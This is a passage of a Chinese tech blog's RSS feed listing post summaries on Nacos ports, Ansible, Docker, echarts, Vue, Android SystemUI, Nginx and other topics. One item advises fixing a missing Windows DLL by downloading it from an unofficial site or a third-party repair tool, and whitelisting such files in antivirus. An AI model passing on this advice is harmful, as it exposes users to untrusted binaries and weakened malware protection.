      <description>以下所有的结论都是基于nacos2.0版本及以上 不包含1.x&#xA;nacos报错Client not connected,current status:STARTING&#xA;一开始 我是在本地运行的nacos服务 没有报错 部署到服务器上 然后再本机进行注册 发现报了Client not connected,current status:STARTING 经过漫长的排查 发现Nacos2.0版本相比1.X新增了gRPC的通信方式&#xA;导致了一个问题 你需要再服务器防火墙多开两个端口 例如你部署的端口是8848 那还需要再开9848和9849来支持gRPC&#xA;端口 与主端口的偏移量 描述&#xA;9848 1000 客户端gRPC请求服务端端口，用于客户端向服务端发起连接和请求&#xA;9849 1001 服务端gRPC请求服务端端口，用于服务间同步等&#xA;这也是为什么本地运行nacos可以而服务器上不行的原因 需要去防火墙打开这俩端口 当然降低版本也可以&#xA;以下是由于这个得到的启发&#xA;nacos集群时端口需要注意的点&#xA;我看动力节点springcloud的网课时发现 老师再进行集群时 他3个端口分别是8848、8849、8850&#xA;最后只有8848、8850开启成功 究其原因 无非就是9849端口被占用 导致8849没有开启成功 我测试过了 用以上三个端口 8849确实不行 但是把8849改成8852 就可以了 原因为什么很明白了吧&#xA;Nacos cluster is running with 1.X mode, can&#39;t accept gRPC request temporarily. 不保熟 可尝试 我一开始是8848、8849、8850进行集群 很显然8849启动不了 然后再nacos网页的集群选项里面 8849的状态是DOWN的 把它下线掉 客户端就可以注册上来了 谢谢观看</description>
    </item>
    <item>
      <title>【微服务】在window下安装nacos以及可能遇到的问题</title>
      <link>https://bchobby.github.io/posts/0bdb9c4537a0d94e9bb94a5b326d541f/</link>
      <pubDate>Tue, 20 Jun 2023 17:10:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bdb9c4537a0d94e9bb94a5b326d541f/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;目录&#xA;一、官网下载&#xA;二、安装步骤&#xA;第一步：解压&#xA;第二步：在数据库中操作&#xA;1）create database nacos&#xA;2）将上图中的sql运行，就会出现下图中的表&#xA;第三步：jdk的环境配置进nacos&#xA;第四步：修改mysql数据库的配置&#xA;三、运行&#xA;1）当配置文件没有修改的时候，需使用单机模式，使用以下命令&#xA;2）当配置文件修改时，可直接点击startup.cmd文件启动&#xA;3）也可使用以下命令启动&#xA;4）访问nacos的控制台&#xA;四、启动时可能会出现的问题&#xA;1）出现请设置JAVA_HOME环境变量的配置&#xA;2）启动时提示:Unable to start embedded Tomcat.&#xA;3）出现此时不应有 \software\nacos&#34;\logs\java_heapdump.hprof&#34;。&#xA;一、官网下载 home (nacos.io)&#xA;Release 2.2.3 (May 25th, 2023) · alibaba/nacos · GitHub&#xA;二、安装步骤 第一步：解压 注意：不要解压到中文目录，可能在后续会报错&#xA;​&#xA;第二步：在数据库中操作 1）create database nacos ​&#xA;2）将上图中的sql运行，就会出现下图中的表 小编使用的图形化界面是Navicat&#xA;​&#xA;第三步：jdk的环境配置进nacos bin目录下的startup.cmd&#xA;小编测试的时候使用单机模式，这个地方可以不更改，运行的时候加单机模式就行。（这个在下面的运行中会说到）&#xA;​&#xA;第四步：修改mysql数据库的配置 ​&#xA;按照以上步骤，nacos就配置完成了&#xA;三、运行 1）当配置文件没有修改的时候，需使用单机模式，使用以下命令 在bin目录下进入cmd命令行，并执行命令 startup.cmd -m standalone ​</description>
    </item>
    <item>
      <title>Ansible部署和常用模块</title>
      <link>https://bchobby.github.io/posts/e165ed3951442647c70cf9f90001a1aa/</link>
      <pubDate>Tue, 20 Jun 2023 16:18:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e165ed3951442647c70cf9f90001a1aa/</guid>
      <description>一、 ansible 的概述 1、ansible简介 Ansible是一款为类Unix系统开发的自由开源的配置和自动化工具。&#xA;它用Python写成，类似于saltstack和Puppet，但是有一个不同和优点是我们不需要在节点中安装任何客户端。&#xA;它使用SSH来和节点进行通信。Ansible基于 Python paramiko 开发，分布式，无需客户端，轻量级，配置语法使用 YMAL 及 Jinja2模板语言，更强的远程命令执行操作。&#xA;Ansible是一个基于Python开发的配置管理和应用部署工具，现在也在自动化管理领域大放异彩。它融合了众多老牌运维工具的优点，Pubbet和Saltstack能实现的功能，Ansible基本上都可以实现&#xA;• Ansible能批量配置、部署、管理上千台主机。比如以前需要切换到每个主机上执行的一或多个操作，使用Ansible只需在固定的一台Ansible控制节点上去完成所有主机的操作&#xA;• Ansible是基于模块工作的，它只是提供了一种运行框架，它本身没有完成任务的能力，真正执行操作的是Ansible的模块,&#xA;比如copy模块用于拷贝文件到远程主机上，service模块用 于管理服务的启动、停止、重启等&#xA;2.、官方网站 Ansible is Simple IT Automation&#xA;3、 ansible 的特点 1、部署简单，没有客户端，只需在主控端部署Ansible环境，被控端无需做任何操作；&#xA;2、模块化：调用特定的模块，完成特定任务&#xA;3、默认使用SSH协议对设备进行管理；&#xA;4、主从集中化管理；&#xA;5、配置简单、功能强大、扩展性强；&#xA;6、支持API及自定义模块，可通过Python轻松扩展；&#xA;7、通过Playbooks来定制强大的配置、状态管理&#xA;8、对云计算平台、大数据都有很好的支持；&#xA;9、具有幂等性：一个操作在一个主机上执行一遍和执行N遍的结果是一样的&#xA;ansible是基于模块工作的，本身没有批量部署的能力。真正具有批量部署的是ansible所运行的模块，ansible只是提供一种框架。主要包括：&#xA;(1)、连接插件connection plugins：负责和被监控端实现通信；&#xA;(2)、host inventory：指定操作的主机，是一个配置文件里面定义监控的主机；&#xA;(3)、各种模块核心模块、command模块、自定义模块；&#xA;(4)、借助于插件完成记录日志邮件等功能；&#xA;(5)、playbook：剧本执行多个任务时，非必需可以让节点一次性运行多个任务&#xA;Ansible其中一个比较鲜明的特性是Agentless，即无Agent的存在，它就像普通命令一样， 并非c/s软件，也只需在某个作为控制节点的主机上安装一次Ansible即可， 通常它基于ssh连接来控制远程主机，远程主机上不需要安装Ansible或其它额外的服务。&#xA;ansible的工作原理：使用者在使用时，在服务器终端输入命令或者playbooks，会通过预定好的规则将playbook拆解为play，再组织成ansible可以识别的任务，调用模块和插件，根据主机清单通过SSH将临时文件发给远程的客户端执行并返回结果，执行结束后自动删除&#xA;• Ansible的另一个比较鲜明的特性是它的绝大多数模块都具备幂等性(idempotence)。所谓幂等性，指的是多次操作或多次执行对系统资源的影响是一致的。比如执行systemctl stop xxx命令来停止服务，当发现要停止的目标服务已经处于停止状态，它什么也不会做，所以多次停止的结果仍然是停止，不会改变结果，它是幂等的，而systemctl restart xxx是非幂等的&#xA;• Ansible的很多模块在执行时都会先判断目标节点是否要执行任务，所以，可以放心大胆地让Ansible去执行任务，重复执行某个任务绝大多数时候不会产生任何副作用&#xA;4. ansible的工作机制 Ansible 在管理节点将 Ansible 模块通过 SSH 协议推送到被管理端执行，执行完之后自动删除，可以使用 SVN 等来管理自定义模块及编排&#xA;5、ansible的组成模块 Ansible的组成由以下模块组成：</description>
    </item>
    <item>
      <title>调试错误记录，关于默认网关的</title>
      <link>https://bchobby.github.io/posts/9c2c25fce98583d10c5445b077a762ec/</link>
      <pubDate>Tue, 20 Jun 2023 16:02:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c2c25fce98583d10c5445b077a762ec/</guid>
      <description>遇到这样一种情况&#xA;A设备ip是192.168.100.100，掩码255.255.255.0&#xA;B设备ip是192.168.200.100，掩码255.255.255.0&#xA;此时，A想和B通，属于不通网段通信，我的做法事，直接配A和B的网关为对方ip即可，&#xA;此时异常出现了，如果是Windows 7，AB已经通了，如果是ubuntu，AB则通不起来，而且，linux不允许配置跨网段的网关，只能是子网内的某个ip才行。&#xA;这样的话，也就是说，Windows上的那种配置跨网段网关是非常规做法，不推荐，跨网段网关需要路由器来帮忙实现</description>
    </item>
    <item>
      <title>脑机接口科普0021——黑门01</title>
      <link>https://bchobby.github.io/posts/3be0800f3a25e7e089c002bf5d039087/</link>
      <pubDate>Tue, 20 Jun 2023 15:51:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3be0800f3a25e7e089c002bf5d039087/</guid>
      <description>本文禁止转载！！！！&#xA;我会在接下来的一段时间内，花一些章节，专门科普介绍一下《黑门》这部国产动漫。&#xA;科普《黑门》，源自网友看了我的脑机接口科普文章后，介绍我看黑门这个脑机接口科普动画片。&#xA;确切的说，是动漫，而不是动画片。&#xA;动画片，一般意义上，我们指的是平面的二维动画。&#xA;动漫，一般意义上，是指的具有3D建模的立体动画。&#xA;黑门，这个动漫，可以在B站上看到。&#xA;黑门，这个动漫，是在去年2022年发行的。&#xA;但是，自这部动漫发行后，一直处于不温不火的状态，也只有少量群体观看，比较冷门。&#xA;这期科普，我就介绍一下，《黑门》这部动漫没有获得成功的原因。&#xA;我觉得这部动漫没有成功的原因有以下几点：&#xA;第一、科普是 永远不赚钱的。&#xA;第二、这部动漫科普了太多的概念。&#xA;第三、这部动漫选择了脑机接口这个很小众的类别进行科普。&#xA;第四、剧情有问题。&#xA;以上就是我暂时先总结的几个观点。后续我觉得有新的观点，我可以再更新补充进来。&#xA;首先，谈第一点，科普永远是不赚钱的。&#xA;大家要明白一点，科普的主体是谁？&#xA;科普的主体是国家，而不是个人。&#xA;这就意味着，个人，或者公司，想替代国家做一些科普的事情，注定是失败的。&#xA;我们国家最大的一个科普，就是九年制义务教育。这是最大的科普。&#xA;这个九年制义务教育科普，解除了古代封建社会对普通女性的思想束缚，解除了古代教育只局限于家境较好的个体。&#xA;这个九年制义务教育科普，就意味着，不管你是男的女的，不管你家有钱没钱，我都给你教育，我都让你开慧，我不会选择古代的愚民政策。&#xA;这个九年制义务教育科普，是让我们国家成为制造业大国的一个主要原因。想想看，那些接受过初中文化教育的人，到了工厂里，接受老师傅的教导，一点就通，就可以操控机器，而印度这个国家，制造业水平就一直局限于它的普通民众没有受过教育，你怎么教他也不理解为什么要这么操作这个机器。&#xA;其次，要明白的一点，科普必定是公益性的。&#xA;既然是科学普及，那必定是公益性的。没人要求你必须给我普及这个科学知识，我没有这个科学知识的储备，不影响我正常的学习，工作及生活。&#xA;国家进行的九年制义务教育科普，这些知识，已经足够满足大部分人的学习，工作及生活需求。你要给我科普脑机接口，要给我科普宇宙太空舱，要给我科普人类基因图谱。。。。。。对不起，我工作或者生活中用不到这些玩意。&#xA;当然了，我要是了解了上述这些玩意，我可以在茶余饭后，吹吹牛，让别人羡慕羡慕，羡慕我的知识储备，羡慕我的见闻广博，也是可以的。&#xA;有多少人会在接受这些科普知识后，长大后就投身从事这个行业？去为了这个理想，为了这个目标而终身奋斗？&#xA;有，肯定是有这类人。但是不多。&#xA;想想，你小时候的梦想是什么？当个科学家，当个宇航员，当个医生？你实现了没？&#xA;所以，你要给普通民众科普这些知识，必定是公益性的。你想盈利，太困难了。&#xA;诚然，有少部分人做科普，盈利了。比如，局座张召忠。&#xA;局座张召忠，给普通民众科普航空母舰，科普国际海洋法，科普核潜艇，科普武器装备，甚至还科普了海带缠潜艇，雾霾防激光。。。。。。&#xA;他是怎么盈利的？他是把他的学识，汇成了书籍，卖书赚钱的。&#xA;他的本意，就是科普国防知识，科普武器装备，并没有想着要卖书。他主要的目的，是为了把自己的研究成果汇总成书籍，做一个知识点的总结而已。&#xA;只是普通民众愿意购买这个书籍，愿意为此买单而已。&#xA;但是，有多少科普机构，能够有局座那样的知识储备？我们现在的知识储备都是碎片化的。&#xA;其次，你出了书了，有多少人愿意为此买单？&#xA;书，仅仅是一种传播媒介，仅仅是一种科普的传输媒介。另一种传播媒介，就是视频。也就是黑门这部动漫采用的科普方式。&#xA;现在再回过头来看看，有多少人，是受了局座的科普，后来去上了潜艇，后来去上了航空母舰，后来去做外交官从事海洋法相关的？&#xA;有，肯定是有。但是恐怕并不是如大家所愿。可能确实有些人受了局座的科普，去当了兵，只不过，去当了陆军，而不是被分配到海军。&#xA;大家可以去市面上调研一下，做科普的机构，大部分都是出书的，希望卖给中小学生的。有几个是真正的盈利的？或许赚了一点点钱，可以养活这个科普团队，但是希望以此赚大钱，上市，实现财务自由的，恐怕没太多吧。&#xA;再说了，现在的家长都是精明的，你给学生卖的这些科普书籍，考试又考不到，又没有证书，对升学也没有帮助，我还不如让小孩学奥数呢。&#xA;所以，总结下来，第一条，科普是永远不赚钱的。&#xA;悲催的是：我现在个人就是在写博客，从事着脑机接口的科普！一分钱没赚到！从来也没人私下联系我，让我把这个科普系列的文章出版，也没有任何人打赏过我！&#xA;现在谈第二点，这部动漫科普了太多的概念。&#xA;科普嘛，普及一些概念，肯定是很正常的。关键是你科普了太多的概念，这个信息量太大了。&#xA;一个概念需要科普，那么这个概念必定是晦涩难懂的，必须要以普通口语化的方式来向民众科普介绍。必要的时候需要做一些类比才可以让民众加深印象。&#xA;在这方面，我是深受局座的影响。局座就喜欢以幽默话的语言进行科普。&#xA;黑门这部动漫，总共也就才12集，每集去除掉前面的开头和结尾部分，大概也就是才30分钟，有些可能更短。你想想看，需要通过12集这么短的时间，向观众科普这么多大量的知识点，这个信息量太大，观众能接受的了才怪。&#xA;所以很多人都说，需要二刷才能看得懂黑门在讲什么。需要二刷，才能注意到里面的细节。&#xA;而这个12集的动漫里面，在B站上面，第一集是免费的，后面11集是需要会员才能看的。&#xA;很多人是因为朋友同事的介绍过来看的，但是并不是所有人都有B站的会员的，很多人看完第一集剧情后，又没有完全看懂，就直接被劝退了。&#xA;我不说黑门这个动漫里面，一共科普了多少概念，我就先说一点：&#xA;黑门，这个黑门是什么意思？&#xA;大家如果不百度，不上网搜索，大家先想一下，这个黑门是什么意思？&#xA;我想大家肯定会说，黑门，就是黑色的门。&#xA;在德国特里尔城北角有一个叫做尼格拉城门的地方（又名“黑门“），它建于公元2世纪约180年，当时是罗马人重要的防御城门。它又砂岩方形巨石建成，由于多年的风化，最后导致了外表成为黑色，黑门故此由来。&#xA;对，黑门，就是黑色的门，但是另外的引申含义是，黑门，就是地狱之门。&#xA;我相信，黑门这个动漫的出品商，肯定也是对脑机接口这个人工智能持有一定的谨慎态度，觉得脑机接口可能会像潘多拉的魔盒，这个技术打开之后，应用之后，会有各种各样的问题，是通向地狱之门。&#xA;但是，我TM怎么知道黑门是德国那个黑色的城门？我怎么知道黑门还有地狱之门的意思？&#xA;很遗憾的是，黑门第一集里面，都没有介绍黑门这个概念是什么意思。&#xA;第一集，就噼里啪啦讲故事情节了。&#xA;你至少在作品开头，用叙述的口吻说一下，脑机接口这个技术，万一被别人控制，会引发一场灾难，是一场通往地狱的大门（然后再配点黑色的色调，引诱读者理解黑门的概念）。&#xA;普通人看到这个作品，肯定会觉得云里雾里。&#xA;想想看，日本的动画片《七龙珠》，根据这个动画片的名字，大家看动画片的过程中，就知道要收集七颗龙珠。再想想看，《喜羊羊与灰太狼》，这个名字一听，就知道是狼和羊的故事。&#xA;好的动漫作品，不是刻意拉开做观众的距离，显得自己是多么的高大上，而是要接地气。</description>
    </item>
    <item>
      <title>java object 设置空对象</title>
      <link>https://bchobby.github.io/posts/84b0b8e24a8e6146c33a0cca47bef316/</link>
      <pubDate>Tue, 20 Jun 2023 12:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84b0b8e24a8e6146c33a0cca47bef316/</guid>
      <description> JSONObject jsonObjItemInfo = new JSONObject(); jsonObjItemInfo.put(null,null); </description>
    </item>
    <item>
      <title>echarts柱状图数据太多设置滚动条</title>
      <link>https://bchobby.github.io/posts/73f8a60489eda954ee9a310d61276003/</link>
      <pubDate>Tue, 20 Jun 2023 12:13:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f8a60489eda954ee9a310d61276003/</guid>
      <description>当你的项目中因数据量太大，导致柱状图数据全部叠在一起不便于看的时候，你们是怎么处理的？&#xA;大部分同学可能第一想法就是裁剪一部分数据，仅展示页面最大限度能够展示的数据，这确实是一个好办法，简单快速。但有时候怎么展示是要根据业务需求来定的，如果你的业务不能满足截取的需求，必须要展示超出这个范围的数据量，那应该怎么办呢？&#xA;此时还有一部分同学会提出使用滚动条，这样不就能够展示更多的数据了吗？但又面临一个问题，具体应该怎么使用呢？&#xA;接下来我就上面如何使用滚动条的问题贴一下自己的一点点配置技巧，希望对大家有所帮助。&#xA;//参考：http://chartlib.datains.cn/detail?id=0e2474b7044f44ff97b51d1d67450f15 var datas = [ { ranking: 1, station: &#39;菱威有限公司&#39;, value: 16.74 }, { ranking: 2, station: &#39;瑞缘诚有限公司&#39;, value: 14.97 }, { ranking: 3, station: &#39;启蒙有限公司&#39;, value: 13.03 }, { ranking: 4, station: &#39;盛唐艺有限公司&#39;, value: 12.48 }, { ranking: 5, station: &#39;嘉宏有限公司&#39;, value: 11.20 }, { ranking: 6, station: &#39;爱赛特有限公司&#39;, value: 10.00 }, { ranking: 7, station: &#39;浩威有限公司&#39;, value: 8.20 }, { ranking: 8, station: &#39;美威有限公司&#39;, value: 7.</description>
    </item>
    <item>
      <title>Windows系统缺失api-ms-win-crt-runtime-l1-1-0.dll文件的完美解决方法</title>
      <link>https://bchobby.github.io/posts/0cd5a8912f2056962be5aa8398a4e653/</link>
      <pubDate>Tue, 20 Jun 2023 10:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0cd5a8912f2056962be5aa8398a4e653/</guid>
      <description>其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题，如果是新手第一时间会认为是软件或游戏出错了，其实并不是这样，其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库，这时你可以下载这个api-ms-win-crt-runtime-l1-1-0.dll文件(挑选合适的版本文件)把它放入到程序或系统目录中，当我们执行某一个.exe程序时，相应的DLL文件就会被调用，因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.&#xA;那么出现api-ms-win-crt-runtime-l1-1-0.dll丢失要怎么解决？&#xA;一、手动从网站下载单个dll文件 1、从下面列表下载api-ms-win-crt-runtime-l1-1-0.dll文件&#xA;32/64位 文件:&#xA;api-ms-win-crt-runtime-l1-1-0.dll&#xA;2、将下载的文件放入到你要运行的软件或者游戏的安装所在文件夹之中，可以右键点击主执行程序.exe然后选择&#34;打开文件所在的位置&#34; 找到安装目录，将文件复制进去。&#xA;或者将文件复制到Windows系统目录，这个需要注意电脑的系统是32位还是64位，如果是32位的系统，那就将本站下载32位的dll文件放到“C:/Windows/System32”这个文件夹里面,如果是64位的系统，那就将本站下载的32位dll文件放到“C:/Windows/SysWOW64”这个文件夹里面,本站下载的64位文件放到“C:/Windows/System32”这个文件夹里面.&#xA;如果问题依然无法解决，值得注意的是此类文件的丢失有时候和杀毒软件的误报毒有关，所以请将此类dll文件添加到杀毒软件的信任列表当中.&#xA;二、使用DLLEscort软件进行自动修复 DLLEscort软件能够修复解决常见的Windows系统文件与系统所需的大部分运行库，它可以帮助您一键修复系统软件或游戏丢失的DLL运行库文件，节省您的宝贵时间。 如果是因为缺少了运行库 导致的提示文件找不到错误 通常当你单独下载了一个文件放入到目录后，程序可能还会立即提示又丢失了另外一个文件，所以建议大家使用DLLEscort软件一键修复解决系统缺少运行库的问题，软件可随Windows系统长久的使用，每次重新安装系统后也可以使用它修复一次，以保障各软件或游戏在此后的平稳运行. 软件能够修复常见的Windows系统dll文件; DirectX游戏运行库; Microsoft Visual C++运行库; 其它常用运行库等.&#xA;DLLEscort软件支持32/64位 Windows XP,Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 操作系统,Windows 11 操作系统&#xA;下载地址：本站下载 | 百度网盘下载(提取码: 9999),下载完成后得到安装包文件运行后，点击Next下一步进行安装，安装完毕后会自动打开软件或手动执行桌面主程序(DLLEscort)即可打开软件，&#xA;桌面软件图标:&#xA;一、点击“PC Scan”或 “Click to Start Scan”开始对系统丢失文件扫描&#xA;二、扫描完成，扫描结果分成三部分，包括1，待修复的丢失文件。 2，待修复的注册表。 3.待清理的系统缓存文件。&#xA;三、点击”ALL Repair”修复开始，请保持网络通畅,直到所有问题修复完成。</description>
    </item>
    <item>
      <title>Vue 点击添加className</title>
      <link>https://bchobby.github.io/posts/8cdda0e5fc199a9e38549a1d4209fddd/</link>
      <pubDate>Tue, 20 Jun 2023 10:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cdda0e5fc199a9e38549a1d4209fddd/</guid>
      <description> 例如如下dom &amp;lt;li class=&#34;del&#34; @click=&#34;del($event)&#34;&amp;gt;删除&amp;lt;/li&amp;gt; 因为js获取兄弟元素需要中转，所以先获取父元素，再获取子元素，移除className，再给当前dom添加className const siblings = e.currentTarget.parentNode.children; for (let i = 0; i &amp;lt; siblings.length; i++) { if (siblings[i].classList.contains(&#39;active&#39;)) { siblings[i].classList.remove(&#39;active&#39;); } } e.currentTarget.classList.add(&#39;active&#39;) </description>
    </item>
    <item>
      <title>Android 12系统源码_SystemUI（一）SystemUI的启动流程</title>
      <link>https://bchobby.github.io/posts/787716d9587e3d1a5d1586c0d1103d9c/</link>
      <pubDate>Tue, 20 Jun 2023 09:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/787716d9587e3d1a5d1586c0d1103d9c/</guid>
      <description>前言 Android 的 SystemUI 其实就是 Android 的系统界面，它包括了界面上方的状态栏 status bar，下方的导航栏Navigation Bar，锁屏界面 Keyguard ，电源界面 PowerUI，近期任务界面 Recent Task 等等。在 Andorid 系统源码中，package/apps下放的是系统内置的一些 app，例如 settings，camera，Phone，Message 等等。而在 framework/base/package 下，它们也是系统的 app，SystemUI 就在此目录下。它控制着整个Android系统的界面，但其实他也是一个 app，不同于一般的 app，它不可卸载也不可以被第三方应用替换。对于用户而言，SystemUI 的改动是最能直观感受到的。因此，每个 Android 版本在 SystemUI 上都有比较大的改动。而对开发者而言，理解 Android SystemUI 对优化Android系统界面，改善用户体验十分重要。因为SystemUI 是系统应用，所以它也是一个 APK，有入口 Application，只不过它是由 SystemServer 进程进行启动的。&#xA;一、系统启动后在SystemServer进程中启动SystemUIService 1、在Android系统之后，系统首先会启动一个名为Zygote的进程，而Zygote进程又会启动SystemServer进程，SystemServer又会启动SystemUI，这里我们先来看SystemServer的main()方法，main 方法如下：&#xA;frameworks/base/services/java/com/android/server/SystemServer.java&#xA;public final class SystemServer implements Dumpable { public static void main(String[] args) { new SystemServer().run(); } } 2、main 方法里启动了 run() 方法，而在 run 方法中调用了startOtherServices() 方法：&#xA;public final class SystemServer implements Dumpable { private void run(){ .</description>
    </item>
    <item>
      <title>echarts折线图按阈值分段设置(颜色，节点图表等)</title>
      <link>https://bchobby.github.io/posts/fe1f4628ee7d834111d846fa17c88fa3/</link>
      <pubDate>Tue, 20 Jun 2023 09:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe1f4628ee7d834111d846fa17c88fa3/</guid>
      <description>最近有个需求，是按照色标分段将echart折线图的折线部分进行区分。&#xA;在此之前，我们有进行过对折线节点按值配置(大小、图标、值都可以在对应的回调函数中判断区分)，但线并未设置。&#xA;我查看对应的官方配置项，线的颜色只可以简单设置，或者按照固定规则进行渐变色设置，这并不符合需求。&#xA;在查找后发现echart有这么一个配置项：visualMap&#xA;官方介绍是：视觉映射组件，用于进行『视觉编码』，也就是将数据映射到视觉元素（视觉通道）&#xA;我看了下，简单说就是设置类似大小，图案，颜色，亮度等能看到的样式的修改，而能设置的对象里，也包括线。&#xA;这里有几个需要注意的点，1.如果不设置seriesIndex的值，会默认覆盖所有series的数据样式。2.线与节点的颜色无法在再次区分(可能是我没找到)。3.样式优先级较高，会使series中对应的线，节点的样式设置失效。&#xA;附上代码：&#xA;option = { xAxis: { type: &#39;category&#39;, data: [&#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;, &#39;Sun&#39;] }, yAxis: { type: &#39;value&#39; }, visualMap:{ show: true, pieces: [ //进行分段设置，visualMap的type可以设置连续值Continuous跟分段值Piecewise两个值，这里需求需要,所以设置分段属性pieces { min: 0, max: 100, }, { min: 100, max:150, }, { min:150 } ], inRange:{ //定义 在选中范围中 的视觉元素 color: [&#39;#ff1122&#39;,&#39;yellow&#39;,&#39;#00ff00&#39;],//如果是分段则一一对应 symbol: [&#39;diamond&#39;,&#39;rect&#39;],//分段则一一对应 symbolSize: [25]//可设置两个值进行区间变动 }, seriesIndex:0 //只影响第一组数据 }, series: [ { data: [120, 200, 150, 80, 70, 110, 130], type: &#39;line&#39;, symbol: &#39;triangle&#39;, //被覆盖 symbolSize: 20, //被覆盖 lineStyle: { //被覆盖 width: 4, }, itemStyle: { color:(a)=&amp;gt;{ //被覆盖 if(a.</description>
    </item>
    <item>
      <title>Docker安装与使用</title>
      <link>https://bchobby.github.io/posts/c391effe1c4bc1d01a0f2479e438ed0f/</link>
      <pubDate>Mon, 19 Jun 2023 23:46:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c391effe1c4bc1d01a0f2479e438ed0f/</guid>
      <description>一.安装Docker 企业部署一般都是采用Linux操作系统，而其中又数CentOS发行版占比最多，因此我们在CentOS下安装Docker&#xA;1 版本介绍 Docker 分为 CE 和 EE 两大版本。CE 即社区版（免费，支持周期 7 个月），EE 即企业版，强调安全，付费使用，支持周期 24 个月。&#xA;Docker CE 分为 stable test 和 nightly 三个更新频道。&#xA;2 卸载Docker（可选） 如果之前安装过旧版本的Docker，可以使用下面命令卸载：&#xA;yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce 3 安装docker 首先需要大家虚拟机联网，安装yum工具&#xA;yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 --skip-broken 然后更新本地镜像源&#xA;# 设置docker镜像源 yum-config-manager \ --add-repo \ https://mirrors.</description>
    </item>
    <item>
      <title>模型不收敛是因为什么</title>
      <link>https://bchobby.github.io/posts/f49acee6fa95dbc517af111fbe11f580/</link>
      <pubDate>Mon, 19 Jun 2023 21:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f49acee6fa95dbc517af111fbe11f580/</guid>
      <description> 模型不收敛，首先是看training loss下降与否，如果training loss并不能稳定下降，则可能：&#xA;数据集中signal和target是否按顺序匹配问题数据集是否进行了归一化或者标准化模型参数初始化问题你的计算图可能在训练前传入了与data无关的tensor 如果training loss下降，vallidation loss不稳定，则可能是：&#xA;validation 数据集不匹配问题model.triain()和model.eval() with torch.no_grad()指定问题过拟合 解决方法：&#xA;多换几个模型；换个数据；分别从数据问题，模型问题进行逐步排查。 </description>
    </item>
    <item>
      <title>【Nginx和PHP教程（一）】安装、配置及初步使用</title>
      <link>https://bchobby.github.io/posts/0b2760d540ab9d4f8169159db80a4444/</link>
      <pubDate>Mon, 19 Jun 2023 20:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b2760d540ab9d4f8169159db80a4444/</guid>
      <description>1. nginx基本介绍&#xA;2. nginx安装和环境配置&#xA;3. php基本介绍&#xA;4. php的安装和环境配置&#xA;5. JavaScript、php、html等的区别&#xA;6. ubuntu系统中php的安装和环境配置&#xA;1. nginx基本介绍 Nginx（发音为“engine X”）是一款高性能的、轻量级的Web服务器软件，同时也是一款反向代理服务器和负载均衡器。Nginx的主要优点包括高性能、低资源占用、可靠性和灵活性。它已经成为一个广泛使用的Web服务器和反向代理服务器。&#xA;下面是Nginx的一些主要特点和功能：&#xA;高性能：Nginx的核心设计原则是为了提高性能和并发连接数。它可以同时处理数千个并发连接，使用少量的内存，这使得Nginx非常适合作为高流量的Web服务器和反向代理服务器。&#xA;反向代理：Nginx支持反向代理，可以通过代理缓存来提高Web应用程序的性能，同时也可以提供更好的安全性。&#xA;负载均衡：Nginx可以作为负载均衡器，它可以将请求转发到多个Web服务器，并确保请求的平衡分配。&#xA;静态内容服务：Nginx可以高效地提供静态内容服务，它可以直接将静态内容从磁盘中读取并返回给客户端，这使得Nginx在提供静态内容方面非常快速和高效。&#xA;可扩展性：Nginx的设计可以轻松地进行扩展，支持使用模块添加新的功能。&#xA;安全性：Nginx具有高度的安全性，可以抵御各种攻击，包括DDoS攻击、SQL注入攻击等。&#xA;轻量级：Nginx非常轻量级，占用资源很少，可以在低端硬件上运行，因此非常适合用于较小的项目。&#xA;总之，Nginx是一款高性能、可靠性强、安全性高、轻量级和灵活的Web服务器和反向代理服务器，是Web服务器中的佼佼者。&#xA;Nginx的历史可以追溯到2002年，当时Igor Sysoev在俄罗斯工作的一家ISP公司使用Apache作为Web服务器，但在面对高流量和高负载的情况下，他发现Apache的性能和可扩展性都有限。因此，他决定创建自己的Web服务器，这就是Nginx的雏形。&#xA;最初，Nginx是Igor Sysoev自己开发的，并在2004年首次发布。2008年，他辞职并创建了自己的公司，专注于开发和支持Nginx。目前，Nginx Inc.是一家专注于Web基础架构的软件公司，其核心产品是Nginx Web服务器和Nginx 